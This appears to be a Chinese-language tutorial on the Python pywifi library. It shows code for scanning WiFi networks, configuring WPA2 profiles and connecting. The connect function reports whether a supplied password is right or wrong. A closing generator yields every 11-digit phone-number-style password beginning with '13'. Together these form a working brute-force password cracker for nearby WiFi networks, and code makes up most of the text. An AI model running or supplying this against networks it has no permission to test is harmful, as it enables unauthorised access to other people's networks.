1、WiFi接口操作
(例如:掃描,連接,斷開…)
WiFi接口方法如下
['add_network_profile', 'connect', 'disconnect', 'name', 'network_profiles', 'remove_all_network_profiles', 'remove_network_profile', 'scan', 'scan_results', 'status']
(1)返回掃描的WiFi名字
import pywifi from pywifi import const #獲取連接狀態的常量庫 import time def getwfiname(): get_wifiname = [] # 定義接口操作 wifi = pywifi.PyWiFi() # 這里iface就是獲取的wifi接口 iface = wifi.interfaces()[0] # 掃描WiFi iface.scan() # 獲取掃描的profiles文件 scan_wifi = iface.scan_results() for i in scan_wifi: if i.ssid not in get_wifiname: get_wifiname.append(i.ssid) #返回所有掃描的WiFi名字 return get_wifiname
(2)連接WiFi
def connectwifi(wifiname, password): # 定義接口操作 wifi = pywifi.PyWiFi() # 獲取第一個無線網卡 iface = wifi.interfaces()[0] # 刪除所有連接過的wifi文件 iface.remove_all_network_profiles() # 創建wifi連接文件 profile = pywifi.Profile() # 設置要連接的wifi的名稱 profile.ssid = wifiname # 網卡的開放狀態 | auth - AP的認證算法 profile.auth = const.AUTH_ALG_OPEN # wifi的加密算法,一般wifi 加密算法時wps #選擇wifi加密方式 akm - AP的密鑰管理類型 profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密單元 /cipher - AP的密碼類型 profile.cipher = const.CIPHER_TYPE_CCMP # 調用密碼 /wifi密鑰 如果無密碼,則應該設置此項CIPHER_TYPE_NONE profile.key = password # 加載新的連接文件 tep_profile = iface.add_network_profile(profile) # 連接WiFi iface.connect(tep_profile) time.sleep(2) if iface.status() == 4: print(f"WIFI名字:{wifiname} -----密碼正確:{profile.key}") else: print(f"WIFI名字:{wifiname} -----密碼錯誤:{profile.key}")
(3)返回連接狀態
print(iface.status()) #將返回以下狀態碼之一,這個庫里面就顯示了接口是否連接對於的常量: #const.IFACE_DISCONNECTED 也就是0 #const.IFACE_SCANNING 也就是1 #const.IFACE_INACTIVE 也就是2 #const.IFACE_CONNECTING 也就是3 #const.IFACE_CONNECTED 也就是4
2、配置文件
(1)生成配置文件對象:
profile=pywifi.Profile() #生成對象而已,接下來就能對他進行配置操作了
(2)配置文件的操作方式:
ssid - AP的名稱 wifi的名稱 auth - AP的認證算法 akm - AP的密鑰管理類型 wifi的加密算法, cipher - AP的密碼類型 key (optinoal) - AP的關鍵。如果無密碼,則應該設置此項CIPHER_TYPE_NONE
說明
auth - AP的認證算法:也是身份驗證的算法,其實,幾乎所有AP都使用開放算法,盡管我們可以有以下設置
const.AUTH_ALG_OPEN
const.AUTH_ALG_SHARED
akm - AP的密鑰管理類型:
const.AKM_TYPE_NONE #AP沒有安全設置 const.AKM_TYPE_WPAPSK #AP處於WPA模式 const.AKM_TYPE_WPA2PSK #AP處於WPA2模式 AKM_TYPE_WPA和AKM_TYPE_WPA2針對企業的AP(這里就不解釋了): const.AKM_TYPE_WPA const.AKM_TYPE_WPA2
cipher - AP的密碼類型:
const.CIPHER_TYPE_NONE #如果AP沒有安全設置,則應將密碼類型設置為ProfileAKM_TYPE_NONE const.CIPHER_TYPE_WEP const.CIPHER_TYPE_TKIP const.CIPHER_TYPE_CCMP #通常情況下設置為這個,雖然不知道是什么
密碼

import numpy as np def dipassword(): dilist = range(0,10) passwordlist = ["1",'3'] for i1 in dilist: for i2 in dilist: for i3 in dilist: for i4 in dilist: for i5 in dilist: for i6 in dilist: for i7 in dilist: for i8 in dilist: for i9 in dilist: passwordlist.extend([i1,i2,i3,i4,i5,i6,i7,i8,i9]) #print("".join(np.array(passwordlist,np.str).tolist())) yield "".join(np.array(passwordlist, np.str).tolist()) passwordlist = ["1", '3']